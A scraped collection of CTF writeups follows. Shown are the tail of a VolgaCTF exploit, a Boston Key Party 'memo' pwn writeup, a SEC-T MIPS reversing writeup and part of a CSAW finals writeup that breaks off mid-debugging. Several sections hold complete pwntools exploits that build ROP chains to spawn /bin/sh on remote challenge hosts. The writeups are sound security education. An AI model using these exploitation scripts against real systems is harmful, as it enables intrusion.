remote('not-so-honest.quals.2017.volgactf.ru', 45678) 130 | 131 | p.recvuntil("x[:24]=='") 132 | key_start = p.read(24) 133 | 134 | print('[+] Bruteforcing key...') 135 | 136 | alpha = [chr(i) for i in range(0x20, 0x7F + 1)] 137 | key = None 138 | for cand in itertools.product(alpha, repeat=5): 139 | cand_key = key_start + ''.join(cand) 140 | digest = hashlib.sha1(cand_key).digest() 141 | if digest[-3:] == '\xff\xff\xff' and ord(digest[-4]) & 3 == 3: 142 | key = cand_key 143 | break 144 | 145 | if key is None: 146 | print('ERROR: no key') 147 | sys.exit(1) 148 | 149 | print('[+] Found key: ' + key) 150 | p.sendline(key) 151 | 152 | POP_RAX = p64(0x401315) # pop rax; ret; 153 | POP_RDI = p64(0x4014a3) # pop rdi; ret; 154 | POP_RSI = p64(0x400816) # pop rsi; ret; 155 | SYSCALL = p64(0x40135b) # syscall; ret; 156 | WWW_RDI_RAX = p64(0x40136a) # mov qword ptr [rdi], rax; ret; 157 | ZERO_RDX = p64(0x400bec) # zero rdx; corrupt rax; add rsp, 24; ret; 158 | 159 | W_ADDR = 0x602100 # @ .data 160 | 161 | rop_www = lambda addr, val : POP_RDI + p64(addr) + POP_RAX + val + WWW_RDI_RAX 162 | 163 | # write '/bin/sh\x00' to W_ADDR (filename) 164 | rop = rop_www(W_ADDR, '/bin/sh\x00') 165 | # write NULL to W_ADDR + 8 (argv[0]) 166 | rop += rop_www(W_ADDR + 8, p64(0)) 167 | # 1st arg (filename) = W_ADDR 168 | rop += POP_RDI + p64(W_ADDR) 169 | # 2nd arg (argv) = W_ADDR + 8 170 | rop += POP_RSI + p64(W_ADDR + 8) 171 | # 3rd arg (envp) = NULL 172 | rop += ZERO_RDX + 'A'*24 # 24 bytes junk 173 | # syscall number = 0x3b (execve) 174 | rop += POP_RAX + p64(0x3b) 175 | # execve("/bin/sh", {NULL}, NULL) 176 | rop += SYSCALL 177 | 178 | # junk to get to return address 179 | buf = 'A' * 208 180 | # encode chain 181 | for i in range(0, len(rop), 8): 182 | enc = u64(DATA_STUFF[i:i+8]) 183 | enc ^= 0x2a8429e525bc3757 184 | enc ^= u64(TEXT_STUFF[i:i+8]) 185 | enc ^= u64(rop[i:i+8]) 186 | buf += p64(enc).encode('hex') 187 | 188 | p.sendline(buf) 189 | p.interactive() 190 | ``` 191 | -------------------------------------------------------------------------------- /bkp-2017/pwn/memo-300/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @abiondo] 2 | 3 | **CTF:** Boston Key Party CTF 2017 4 | 5 | **Team:** No Pwn Intended 6 | 7 | **Task:** pwn/memo 8 | 9 | **Points:** 300 10 | 11 | We were given an ELF 64-bit binary of a simple memo taking application, along with its dynamically linked `libc`. `checksec` shows NX and full RELRO. Here's the relevant reversed parts: 12 | 13 | ```c 14 | // @ 0x602A00 15 | size_t g_msg_index; 16 | // @ 0x602A60 17 | int g_msg_len[4]; 18 | char *g_msg_buf[5]; 19 | char **g_msg_stack[5]; 20 | 21 | // @ 0x400C04 22 | int read_decimal(const char *prompt) 23 | { 24 | char buf[8]; 25 | 26 | printf(prompt); 27 | read(0, buf, sizeof(buf)); 28 | 29 | return atoi(buf); 30 | } 31 | 32 | // @ 0x400C52 33 | void new_message() 34 | { 35 | char *buf; // @ bp - 16 36 | size_t len; 37 | 38 | buf = 0; 39 | len = 0; 40 | 41 | g_msg_index = read_decimal("Index: "); 42 | if (g_msg_buf[g_msg_index]) { 43 | puts("can't use this index\n"); 44 | return; 45 | } 46 | 47 | if (g_msg_index > 4) { 48 | puts("Index too large"); 49 | exit(1); 50 | } 51 | 52 | len = read_decimal("Length: "); 53 | if (len > 32) { 54 | puts("message too long, you can leave on memo though"); 55 | buf = malloc(32); 56 | read(0, buf, len); 57 | puts(""); 58 | } else { 59 | buf = malloc(len); 60 | printf("Message: "); 61 | read(0, buf, len); 62 | g_msg_buf[g_msg_index] = buf; 63 | g_msg_stack[g_msg_index] = &buf; 64 | g_msg_len[g_msg_index] = len; 65 | puts(""); 66 | } 67 | } 68 | 69 | // @ 0x400DA8 70 | void edit_message() 71 | { 72 | if (!g_msg_buf[g_msg_index]) { 73 | puts("have to leave message first"); 74 | exit(1); 75 | } 76 | 77 | printf("Edit message: "); 78 | read(0, g_msg_buf[g_msg_index], g_msg_len[g_msg_index]); 79 | 80 | puts("edited! this is edited message!"); 81 | printf("%s\n\n", (char *) &g_msg_buf[g_msg_index]); 82 | } 83 | ``` 84 | 85 | `new_message` and `edit_message` are called by `main` when `1` or `2` (respectively) are entered as choices in the main menu. There's an obvious heap overflow in `new_message` when `len > 32`, we're going to ignore that (there are more heap vulnerabilities in other places, I didn't use them). Instead, we see that `edit_message` trusts the value of `g_msg_index` (i.e. the index of the most recent memo we worked on). `new_message` sets it *before* checking it, so by trying to create a new memo with a bogus index and then editing it we can trigger out-of-bound reads for `g_msg_buf` and `g_msg_len`. Also note that `g_msg_len` is of the wrong size, `4` instead of `5`. 86 | 87 | `g_msg_buf` immediately follows `g_msg_len` in memory, so (provided we pass the `!g_msg_buf[g_msg_index]` check) we can pass `read` an address as size, which will be a big number. Note that `read` reads *up to* the specified amount of bytes, so we can control how much we write. `g_msg_stack` follows `g_msg_buf` in memory, so we can make `read` write to a stack address in the now-defunct `new_message` stack frame. The base pointer for `new_message` and `edit_message` will be the same because they're both called from `main` and have the same arguments. Since the return address is at `bp + 8` and `buf` in `new_message` is at `bp - 16` we need `8 - (-16) = 24` filler bytes to reach the return address of `edit_message`. We now have RIP control. 88 | 89 | Notice that `g_msg_len` is an array of `int`s, i.e. 4 bytes. The heap addresses in `g_msg_buf` are low and use the lower 32 bits, so we'll need the `g_msg_len` out-of-bounds to line up at a `g_msg_buf` element boundary (i.e. the edit index has to be even), otherwise we'll get a zero-length read. Also, the edit index has to be >= 5 to get to `g_msg_stack`. We'll create a memo with index `1`, then set the index to `6`, then edit sending our exploit buffer. This will result in `read(0, g_msg_stack[1], ((size_t) (g_msg_buf[1])) & 0xFFFFFFFF)`. 90 | 91 | There's also an address leak in `edit_message`, which is useful as the stack is randomized. The function prints the *address* of the memo buffer as a string instead of its content. In our out-of-bounds situation this will be the address of `buf` in the `new_message` frame, i.e. the address at which `read` writes our data. `printf` will stop at the first NUL byte. We know the top two bytes will be zero (because 64-bit addressing is really 48-bit). We assume the lower 6 bytes don't contain NULs, so we can leak them (and if they do, we just need to try again). 92 | 93 | The binary has NX mitigation, so we need to build a ROP chain. Unfortunately `libc` is dynamically linked, so we can only call imported functions via PLT, and there's no `system` or `exec*` imported. Also, the binary has a small selection of gadgets and there are no syscall gadgets. We have the `libc`, so we can figure out the offset of e.g. `system` from any other function. The plan is to read the address of a `libc` function (I chose `read`) off the GOT, calculate the address of `system` and call `system("/bin/sh")`. Note also that, due to full RELRO, we can't overwite the GOT, so we can't return to PLT and we'll need a gadget to jump to an arbitrary address stored in a register or memory. 94 | 95 | Due to the small gadget selection I couldn't find a way to calculate the address of `system` inside the ROP chain, so the plan became sending the address of `read` over the socket to my script, doing the calculation there and sending the address of `system` back to the ROP chain. We need gadgets to set the first three arguments (`rdi`, `rsi`, `rdx`) and to jump to an arbitrary location read off memory. I used the following gadgets: 96 | 97 | ``` 98 | # pop rdi; ret; 99 | POP_RDI = 0x401263 100 | # pop rsi; pop r15; ret; 101 | POP_RSI_R15 = 0x401261 102 | # pop rbp; ret; 103 | POP_RBP = 0x400900 104 | # pop rdx; mov eax, dword ptr [rbp - 4]; 105 | # mov rax, qword ptr [rax*8 + 0x401528]; jmp rax; 106 | POP_RDX_JMP = 0x401192 107 | ``` 108 | 109 | 110 | The first three are self-explanatory (we'll see why we need `POP_RBP` shortly). The last one is a bit more complex and serves two purposes. First, it pops `rdx` off the stack, allowing us to set it. Then it does a jump through some indirections. It loads the dword `eax` from `rbp - 4`, then jumps to the address read from `((uint64_t) eax) * 8 + 0x401528`. This allows us to jump to any address if we can place it somewhere in memory between `0x401528` and `0x800401520` at a 8-byte aligned offset from `0x401528`. Say our jump address is stored at `addr`: to prepare the jump we place the dword `(addr - 0x401528) / 8` at a known location `eax_addr`, then we use `POP_RBP` to set `rbp` to `eax_addr + 4`. 111 | 112 | In the following listings each line is a 64-bit qword. The exploit buffer starts with 24 junk bytes to get to the return address. We then call `puts` to print the GOT entry for `read` (using `write` would've been better, but I was lazy and assumed there were no NULs in the bottom 48 bits): 113 | 114 | ``` 115 | POP_RDI 116 | 0x601fa8 # 1st arg, read() @ GOT 117 | 0x400818 # puts() @ PLT 118 | ``` 119 | 120 | Now we need to call `read(0, some_writable_address, 8)` to read back the address of `system`. I chose `0x602a00` (in BSS) as the writable address. We'll call `read` via the `POP_RDX_JMP` gadget (because we need to fill `rdx`). The address of `read` is placed at `0x601fa8` (in the GOT). We'll put `(0x601fa8 - 0x401528) / 8` on the stack, after the ROP chain. We leaked stack addresses so we know where it's at, and we'll call its address `eax_for_read_addr`. I also placed a trivial call to `getchar` to avoid partial read issues with the connection (and because I'm paranoid). 121 | 122 | ``` 123 | 0x400858 # getchar() @ PLT 124 | POP_RDI 125 | 0 # 1st arg 126 | POP_RSI_R15 127 | 0x602a00 # 2nd arg, writable address 128 | 0 # r15, junk 129 | POP_RBP 130 | eax_for_read_addr + 4 131 | POP_RDX_JMP 132 | 8 # 3rd arg 133 | ``` 134 | 135 | Great, now all we need to do is call `system("/bin/sh")`. The address of `system` is stored at `0x602a00`. We calculate `(0x602a00 - 0x401528) / 8` and put it on the stack at `eax_for_system_addr`. We also put a NUL-terminated string `/bin/sh` on the stack at `binsh_addr`. 136 | 137 | ``` 138 | POP_RDI 139 | binsh_addr # 1st arg 140 | POP_RBP 141 | eax_for_system_addr + 4 142 | POP_RDX_JMP 143 | 0 # rdx, junk 144 | ``` 145 | 146 | We finally get a shell: 147 | 148 | ``` 149 | $ cat /home/memo/flag 150 | bkp{you are a talented and ambitious hacker} 151 | ``` 152 | 153 | Full exploit code: 154 | 155 | ```python 156 | #!/usr/bin/python2 157 | 158 | from pwn import * 159 | 160 | def login(p, uname): 161 | p.recvuntil('name: ') 162 | p.sendline(uname) 163 | p.recvuntil('password? (y/n) ') 164 | p.sendline('n') 165 | 166 | def do_cmd(p, cmd): 167 | p.recvuntil('>> ') 168 | p.sendline(cmd) 169 | 170 | def new_memo_set_index(p, idx): 171 | do_cmd(p, '1') 172 | p.recvuntil('Index: ') 173 | p.sendline(str(idx)) 174 | 175 | def new_memo(p, idx, size, msg): 176 | new_memo_set_index(p, idx) 177 | p.recvuntil('Length: ') 178 | p.sendline(str(size)) 179 | p.recvuntil('Message: ') 180 | p.sendline(msg) 181 | 182 | def edit_memo(p, msg): 183 | do_cmd(p, '2') 184 | p.recvuntil('Edit message: ') 185 | p.sendline(msg) 186 | p.recvuntil('message!\n') 187 | leak = p.recv(6) 188 | p.recvuntil('\n\n') 189 | return u64(leak + '\x00\x00') 190 | 191 | PUTS_PLT = 0x400818 192 | READ_PLT = 0x400840 193 | GETCHAR_PLT = 0x400858 194 | READ_GOT = 0x601fa8 195 | POP_RDI = 0x401263 196 | POP_RSI_R15 = 0x401261 197 | POP_RBP = 0x400900 198 | # pop rdx; mov eax, dword ptr [rbp - 4]; 199 | # mov rax, qword ptr [rax*8 + 0x401528]; jmp rax; 200 | POP_RDX_JMP = 0x401192 201 | W_ADDR = 0x602a00 202 | 203 | SYSTEM_READ_OFF = -0xb1620 # -0xb23c0 local 204 | 205 | IDX_NEW = 1 206 | IDX_EDIT = 6 207 | 208 | context(arch='amd64', os='linux') 209 | 210 | p = remote('54.202.7.144', 8888) 211 | 212 | login(p, 'A') 213 | 214 | new_memo(p, IDX_NEW, 1, 'A') 215 | new_memo_set_index(p, IDX_EDIT) 216 | 217 | buf_addr = edit_memo(p, '') 218 | eax_for_read_addr = buf_addr + 24 + 19*8 219 | eax_for_system_addr = eax_for_read_addr + 4 220 | binsh_addr = eax_for_system_addr + 4 221 | 222 | buf = 'A'*24 223 | 224 | # puts(READ_GOT) 225 | buf += p64(POP_RDI) 226 | buf += p64(READ_GOT) 227 | buf += p64(PUTS_PLT) 228 | # getchar() 229 | buf += p64(GETCHAR_PLT) 230 | # read(0, W_ADDR, 8) 231 | buf += p64(POP_RDI) 232 | buf += p64(0) 233 | buf += p64(POP_RSI_R15) 234 | buf += p64(W_ADDR) 235 | buf += p64(0) # r15, junk 236 | buf += p64(POP_RBP) 237 | buf += p64(eax_for_read_addr + 4) 238 | buf += p64(POP_RDX_JMP) 239 | buf += p64(8) 240 | # (*W_ADDR)("/bin/sh") 241 | buf += p64(POP_RDI) 242 | buf += p64(binsh_addr) 243 | buf += p64(POP_RBP) 244 | buf += p64(eax_for_system_addr + 4) 245 | buf += p64(POP_RDX_JMP) 246 | buf += p64(0) # rdx, junk 247 | 248 | buf += p32((READ_GOT - 0x401528) / 8) 249 | buf += p32((W_ADDR - 0x401528) / 8) 250 | buf += '/bin/sh\x00' 251 | 252 | edit_memo(p, buf) 253 | read_addr = u64(p.recv(6) + '\x00\x00') 254 | p.sendline('A' + p64(read_addr + SYSTEM_READ_OFF)) 255 | 256 | p.interactive() 257 | ``` 258 | -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @abiondo] 2 | 3 | **CTF:** SEC-T CTF 2017 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** rev / Da Vinci 8 | 9 | **Points:** 300 10 | 11 | ``` 12 | We got a copy of the Da Vinci virus from the Gibson along with the encrypted credentials to access the tanker fleet and the ransom note. Can you regain control of the tankers before they capsize? 13 | ``` 14 | 15 | We're given an [archive](./da_vinci.tar.gz) that contains three files: 16 | 17 | ``` 18 | $ file da_vinci/* 19 | da_vinci/a.out: ELF 64-bit MSB executable, MIPS, MIPS64 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld64-uClibc.so.0, stripped 20 | da_vinci/creds.txt: data 21 | da_vinci/ships.txt: ASCII text 22 | ``` 23 | 24 | The `ships.txt` file tells us: 25 | 26 | ``` 27 | [... omitted ASCII art ...] 28 | I have stolen the credentials to your tanker fleet and have taken control of 29 | their ballast systems. 30 | Unless $5 million is transferred to the following account in 7 days, 31 | I will capsize five tankers in the Ellingson fleet. 32 | 33 | Name: Mr. Evil Hacker 34 | Address: P.O. Box 105. Road Town, Tortola British Virgin Islands 35 | Concept: Ships c43a7aa9abc036ac4bf8490b0f30a5a7 36 | IBAN: VG96 BEVC 0000 0123 4567 8901 37 | SWIFT: BEVCVGV1XXX 38 | ``` 39 | 40 | The `creds.txt` file looks like encrypted gibberish. Let's crack the ELF binary open in IDA and see what it does. The readers that are not familiar with MIPS might want to keep a MIPS64 instruction reference on hand, and remember that MIPS makes use of *delay slots*: the instruction following a jump is executed **before** the jump. This is a way to optimize the pipeline and avoid stalls. Enough with the architectural lesson, let's get to work. 41 | 42 | Here's how `main` begins: 43 | 44 | ![Random data generation](./img/0.png) 45 | 46 | The first thing the program does is reading 16 bytes from `/dev/urandom` and storing them into a stack buffer I named `rand_data`, pointed to by `$s0`. Then, it allocates 33 bytes on the heap and points `$s2` to them. Let's go forward: 47 | 48 | ![Hex encoding](./img/1.png) 49 | 50 | This loop goes over the random bytes, extract nibbles from them and sums with one of two printable characters, depending on whether the nibble is less than 10, storing the resulting bytes in the heap buffer. From a high-level description like that, one might guess this is an hex encoding loop, and indeed it is (`'W' + 10 = 'a'`). The heap buffer now contains the hexencoded random bytes. 51 | 52 | ![DMTC2](./img/2.png) 53 | 54 | The first instruction zero-terminates the hexencoded buffer. Then, the code constructs a 64-bit value into `$v0` with a series of immediate loads, shifts and additions. This kind of pattern is common in MIPS (both 32 and 64 bits) because instructions have a fixed 4 byte size, so they can't encode a full register-wide immediate value. 55 | 56 | Finally, the real point of this task comes up with the `dmtc2` instruction. It moves a 64-bit general purpose register (`$v0`) into a Coprocessor 2 register (`0x105`). There is also a companion instruction, `dmfc2`, that moves from a Coprocessor 2 register into a GP register. The problem is that Coprocessor 2 is implementation defined: to know what those registers mean, we need to figure out exactly what CPU we're running on. By googling the instruction along with register numbers that appear all over the code I found some Linux kernel patches that pointed towards it being a Cavium OCTEON processor, which has a Coprocessor 2 that deals with crypto stuff. The full details are not in open-source code and Cavium doesn't offer its reference manuals publicly, but I was able to find a preliminary Hardware Reference Manual for the OCTEON Plus CN50XX (Google it! :P). 57 | 58 | Armed with the manual, we now know that `0x105` is the register for the second quadword of the AES key for the AES unit. There are four AES key registers (`0x104` through `0x107`), because the key is 32 bytes and each register holds 8. We'll likely need this key later, so let's drop a comment and go ahead: 59 | 60 | ![Socket setup](./img/3.png) 61 | 62 | The program is connecting to `klondike.es` on port 80, so we'll probably be looking at an HTTP request next. 63 | 64 | ![HTTP request (1)](./img/4.png) 65 | 66 | It's now sending a GET request for `/dvkey.php`. The query parameter `i` is the hexencoded random string (remember, it was pointed to by `$s2`). While sending the request, it's also further initializing the coprocessor, setting another quadword of the AES key and a couple IVs for the hash unit. Those IVs form the initial hash value for the function and it's common for crypto coprocessors to not store them directly but rather have them set by the programmer. They're usually standardized, but googling those doesn't yield anything. Custom values, maybe? 67 | 68 | ![HTTP request (2)](./img/5.png) 69 | 70 | More HTTP stuff and more crypto initialization. 71 | 72 | ![Response headers removal](./img/6.png) 73 | 74 | Another AES key quadword set, and finally the HTTP request gets completed. Then the code skips the response headers by looking for two `\r\n` sequences in succession (the missing part is shown in the next image, it'd have been too wide). 75 | 76 | ![Decryption and hashing (1)](./img/7.png) 77 | 78 | Now it's doing something interesting. It reads 16 bytes (AES block size) in two 8 byte halves, and performs AES ECB decryption on the block with the previously set keys. The way AES works on this coprocessor is that the first 8 bytes are written to a part 1 register, then the second 8 are written to a part 2 register which triggers decryption. The plaintext is split between two 8-byte result registers and fed as data into the hash unit. Then the same operation is repeated on another 16 bytes of HTTP data, with the AES result being stored in consecutive hash data registers. 79 | 80 | ![Decryption and hashing (2)](./img/8.png) 81 | 82 | Another two 16 byte blocks are decrypted and fed to the hash unit, for a total of 64 bytes of data. Finally, the decrypted data is hashed with SHA256. Note that the last 8 input bytes are fed via the register that triggers hashing. The manual says that this should be register `0x404F`, but the organizers gave an hint during the CTF saying to consider `0x4F` as `0x404F`. Now that we know what the hash function is, we see that the IVs used by this program are not the usual ones specified by the FIPS 180-4 standard. Another important thing to note is that this hash does not include padding. The standard requires messages to be padded before being hashed, but crypto coprocessors like this only handle the hashing, while padding is left to the software. This means that if we take an off-the-shelf SHA256 implementation and hack the custom IVs into it we won't get the same results as the coprocessor, because the OTS code will add padding. Our data size makes hacking OTS code easier: we have exactly 512 bits (SHA256 block size), so all the padding will be in a new block. We don't need to hack padding away, but just to take the engine state prior to hashing the last block. 83 | 84 | ![Credentials encryption (1)](./img/9.png) 85 | 86 | The SHA256 hash is now set as the new AES key. You might notice that those hash result registers are, in fact, the hash IV registers. That's because those registers keep the current hash value, which is initialized with the IVs. The program opens `creds.txt` for reading, determines its size and allocates a heap buffer big enough to hold it. Presumably those are the plaintext credentials that have been encrypted. 87 | 88 | ![Credentials encryption (2)](./img/10.png) 89 | 90 | The file is now read into the buffer (some code relative to this is in the next image). 91 | 92 | ![Credentials encryption (3)](./img/11.png) 93 | 94 | The program sets up the AES IV, as it's going to use it in CBC mode later on. 95 | 96 | ![Credentials encryption (4)](./img/12.png) 97 | 98 | The whole credentials buffer is encrypted with AES CBC, then it's written back to `creds.txt`. 99 | 100 | Okay, so now we know how the credentials are encrypted. Send the random 16-byte to the server, get 64 encrypted bytes back, decrypt those with hardcoded keys. Then use the unpadded SHA256 (with custom hardcoded IVs) hash as an AES key together with the hardcoded AES IV to CBC encrypt the credentials. If we can figure out what random value was chosen when our credentials were encrypted, we can do the request/decrypt/hash dance to get the keys, and finally decrypt the file. Hmm, how do we get the random value? Maybe they gave it to us in `ships.txt`? I remembered this line: 101 | 102 | ``` 103 | Concept: Ships c43a7aa9abc036ac4bf8490b0f30a5a7 104 | ``` 105 | 106 | That sure looks like 16 hexencoded bytes. If they actually are the random value, `ships.txt` must be generated further down in the code. Let's pick up where we left off: 107 | 108 | ![Ships decryption](./img/13.png) 109 | 110 | Sure enough, it's opening `ships.txt` for writing. Then, it sets up 3DES keys and IV and decrypts a buffer (which I renamed to `ships_{start,end}`) in CBC mode. Finally, it writes the decrypted buffer into the file using `fprintf`. The first format argument is the third argument to that function. We have `move $a2, $s2`, and `$s2` still points to the hexencoded string. At this point, I decided to write a small script to decrypt the ships buffer. Why? Two reasons. First, I wanted to check that there was indeed a format specifier in there, just to be sure the coder wasn't messing with us. Second, I wanted to test the crypto. We have keys split in pieces, and we must recombine them properly. If we mess it up here, we'll know as it won't decrypt to ASCII text, and we can figure out how to do it properly. We can't do that with the server or credentials data, as we don't know what they're supposed to decrypt to (and there's much more that could go wrong). Since the architecture is big endian, I just tried treating the key pieces as big endian and combining them in order: 111 | 112 | ```python 113 | #!/usr/bin/python2 114 | 115 | import struct 116 | from Crypto.Cipher import DES3 117 | 118 | KEYS = [0x6011B396042A187A, 0xAFEBE6D990F0C393, 0x7E7B44705A7100E1] 119 | IV = 0x92097F6E08112274 120 | 121 | with open('da_vinci/a.out', 'rb') as f: 122 | f.seek(0x2010) 123 | ships = f.read(0xE28) 124 | 125 | key = struct.pack('>QQQ', *KEYS) 126 | iv = struct.pack('>Q', IV) 127 | des = DES3.new(key, DES3.MODE_CBC, iv) 128 | print(des.decrypt(ships)) 129 | ``` 130 | 131 | It worked: 132 | 133 | ``` 134 | [... omitted ASCII art ...] 135 | I have stolen the credentials to your tanker fleet and have taken control of 136 | their ballast systems. 137 | Unless $5 million is transferred to the following account in 7 days, 138 | I will capsize five tankers in the Ellingson fleet. 139 | 140 | Name: Mr. Evil Hacker 141 | Address: P.O. Box 105. Road Town, Tortola British Virgin Islands 142 | Concept: Ships %s 143 | IBAN: VG96 BEVC 0000 0123 4567 8901 144 | SWIFT: BEVCVGV1XXX 145 | ``` 146 | 147 | There we go, a `%s` specifier right where we expected it. I sent a request to the server for `c43a7aa9abc036ac4bf8490b0f30a5a7`, and saved the [data](./dvkey/dvkey) it gave back (turns out, it decrypts to random gibberish). Now it's just a matter of implementing the key derivation and decryption. I used the [SHA256 implementation from Thomas Dixon](https://github.com/thomdixon/pysha2/blob/master/sha2/sha256.py). Padding is added when `digest` is called, but I never call it: I feed the data, which causes the hash to be updated because it's a full block, and then dump the hash from the internal `_h` state. Here's the final script: 148 | 149 | ```python 150 | #!/usr/bin/python2 151 | 152 | import struct 153 | from Crypto.Cipher import AES 154 | from sha256 import sha256 155 | 156 | with open('dvkey/dvkey', 'rb') as f: 157 | dvkey = f.read() 158 | 159 | with open('da_vinci/creds.txt', 'rb') as f: 160 | creds = f.read() 161 | 162 | DVKEY_KEYS = [ 163 | 0x3E434B0B0AA93BB2, 0x82B03E164D85CE2A, 164 | 0x845D334203640AEE, 0x2011A08BD4310E26] 165 | dvkey_key = struct.pack('>QQQQ', *DVKEY_KEYS) 166 | dvkey_aes = AES.new(dvkey_key, AES.MODE_ECB) 167 | dvkey_plain = dvkey_aes.decrypt(dvkey) 168 | 169 | sha256._h = ( 170 | 0x37833C82, 0xAEC93C6D, 0x66859208, 0x1ED67C95, 171 | 0x2219C188, 0x8C430C17, 0x77AEBDE7, 0xE52E924F) 172 | dvkey_plain_sha = sha256(dvkey_plain) 173 | creds_key = struct.pack('>IIIIIIII', *dvkey_plain_sha._h) 174 | 175 | CREDS_IVS = [0xB6FA1D15ED46055D, 0x96E7F1E8CB561781] 176 | creds_iv = struct.pack('>QQ', *CREDS_IVS) 177 | creds_aes = AES.new(creds_key, AES.MODE_CBC, creds_iv) 178 | creds_plain = creds_aes.decrypt(creds) 179 | 180 | print(creds_plain) 181 | ``` 182 | 183 | And we get the flag: 184 | 185 | ``` 186 | Hai! 187 | 188 | [...] 189 | 190 | Ohh you wanted the password for the oil tanker's ballast system, true? 191 | SECT{C0M3_S41L_7H3_5345_W17H_0UR_74NK3R5!} 192 | 193 | Enjoy! 194 | Klondike 195 | ``` 196 | 197 | Thanks for the great challenge! -------------------------------------------------------------------------------- /csaw-finals-2017/pwn/cyberwar-350/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @abiondo] 2 | 3 | **CTF:** CSAW CTF Final Round 2017 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** pwn / Global Thermonuclear Cyberwar 8 | 9 | **Points:** 350 10 | 11 | ``` 12 | In this strange game, the only winning move is pwn. 13 | [IP and credentials for VNC server] 14 | ``` 15 | 16 | This is the second part of [DEFCON 1](../../rev/defcon1-50). Read that one first. The same system image is used here. We want to dump the flag at 0x1664 on the remote server. 17 | 18 | When we enter the right password that we found while decrypting the ROM, we are presented with a game. First, we choose whether we want to be USA or USSR. Then the game displays a world map with four bases for each party. During each turn, we select one out of the four bases, then freely choose a point on the map and hit enter to launch a missile there. It animates two trails for our missile and for the other party's response missile, and two explosions once they hit. 19 | 20 | Okay, let's load this baby up into IDA (base and entry point at 0x1000, 16-bit code). I will not go too deeply into the reversing details as it's not terribly interesting. All the names that follow where given by me. 21 | 22 | The entry point immediately jumps to a `main` function at 0x3C67. This is an infinite loop (with a 255us delay) which reads the keyboard input, clears the framebuffer and renders the game. This last operation is handled by `render` at 0x380E, which calls either the USA/USSR selection rendering or the actual game rendering (`render_game` at 0x32D7). 23 | 24 | Video memory is located at 0xA0000 and it's 320x200, row-major, 8bpp. Each pixel is a byte which identifies a color in a 256-color palette. The byte for the pixel at `(x, y)` is at offset `x + 320*y`, with `(0,0)` being the top-left corner of the screen. The game keeps a framebuffer with the same exact format at 0x10000. Drawing happens pixel-for-pixel on the framebuffer via the `draw_pixel(short x, short y, char color)` function at 0x3825. After the framebuffer is ready, the function at 0x3884 copies it to video memory. 25 | 26 | When choosing the missile target, we use the arrow keys to control an small scope that looks like this: 27 | 28 | ``` 29 | x 30 | x x 31 | x 32 | ``` 33 | 34 | Where `x` marks a colored pixel. One of the first things I discovered is that you can freely change the color with the `Q` (increment) and `A` (decrement) keys. 35 | 36 | At this point I also noticed the first vulnerability. The arrow keys control the *center* of the scope. The coordinates of the center are checked to ensure they stay within bounds. This, however, doesn't ensure that the *whole* cross is inside the screen! If we have the scope at `(x, 0)`, the top colored pixel will be at `(x, -1)`, which writes before the framebuffer. Similarly, the bottom pixel of a cross placed at the bottom of the screen will be written after the framebuffer. Since we can set whatever color we want, we control a full row (i.e., 320 bytes) before and after the framebuffer. Those values are not zeroed when clearing the framebuffer, as they lay outside of it. 37 | 38 | Unfortunately, this is not enough by itself. There's nothing interesting after the framebuffer. The stack is placed before the buffer (grows backwards from 0xF000), but we can't reach it. However, we now have a simple way to place arbitrary data at known places in memory, which will probably come in handy during exploitation. 39 | 40 | Another thing I noticed is that missile trails can go outside the framebuffer, too. For example, if the target is high enough the top part of the curve will be drawn at negative ordinates. Since those trails can be quite high, maybe we can use them to write to interesting places in memory. Code ends at 0x3C7C, so reaching it would require a trail that underflows by 156 or so rows. That might be hard. However, the stack is much closer and only requires 13 or so rows, which should be doable. Moreover, the trail's color is the same as the scope's color, so we control the written values. 41 | 42 | I started playing with the trails to see if I could trigger a crash, and indeed I could. I was really just messing with it by hand, which was not very reproductible, so I thought of a better testing pattern. For each base, I would line up the scope with it, then go up to the top of the screen, then launch the missile. In the end this means that the scope would have the abscissa of the base and a zero ordinate. This was motivated because closer abscissae between base and target, and higher targets, resulted in higher trails, so I was maximizing the trail's height and damage to the stack. 43 | 44 | I found that this pattern only triggered a crash on the leftmost USA base. I'm sure there are other positions that can trigger crashes, but as we'll see I was pretty lucky with what I found. I started investigating: the crash seemed to hijack control flow to some random address, then it would slide until it reached a instruction that performed an invalid memory access. It wasn't clear where the hijack happened. I wasted a lot of time reversing the code that calculated the trail, which in the end I didn't need. After a while I adopted a faster approach: I wrote a [small GDB Python script](./scripts/trace.py) that traced all the pixels written inside the stack by the trail. To do this, I breakpointed the call to `draw_pixel` inside the function that drew the two trails and collected the coordinates that resulted in writes before 0xF000. For some reason I couldn't get conditional breakpoints to work in GDB Python, so I did the filtering inside my breakpoint handler. This method is slow, and I'm sure there are better ways, but it was quick to write and worked well enough for the crashing target. It's late night in a CTF, ain't nobody got time for good code. 45 | 46 | To run the script you need to launch QEMU with the `-s` option, so that it spawns a gdbserver on port 1234. Then run the script, launch your missile and once the slow-motion trail reaches the top of the screen the negative coordinates will start rolling out on your console: 47 | 48 | ``` 49 | $ ./trace.py 50 | [...] 51 | 57 -13 0xeff9 52 | 57 -14 0xeeb9 53 | 57 -15 0xed79 54 | 57 -16 0xec39 55 | 57 -17 0xeaf9 56 | 57 -18 0xe9b9 57 | ``` 58 | 59 | Now I wanted to analyze those addresses and see what it was overwriting to crash the game. I set a conditional breakpoint on the same call to `draw_pixel` and looked at the addresses from that clean state: since the stack trace to that call was always the same, I had the correct picture of the stack. 60 | 61 | The stack pointer at that breakpoint was 0xEF8A, so the only written address within the active stack was 0xEFF9. Looking around it yields a promising result: 62 | 63 | ``` 64 | (gdb) x/2hx 0xeff8 65 | 0xeff8: 0xeffc 0x381e 66 | ``` 67 | 68 | That 0x381E looks like a code address. Maybe it's a return address? Indeed, it's inside `render`, right after the call to the game rendering function. If this is the case, we're overwriting the MSB of the saved base pointer for `render` inside the `render_game` stack frame, which would be great news. 69 | 70 | Okay, let's see if we're right. I set a conditional breakpoint on drawing `(57, -13)`. From there, I breaked at 0x381E and checked out the base pointer. 71 | 72 | ``` 73 | (gdb) b *0x3956 if *((short*)($sp+0))==57 && *((short*)($sp+2))==-13 74 | Breakpoint 1 at 0x3956 75 | (gdb) c 76 | Continuing. 77 | 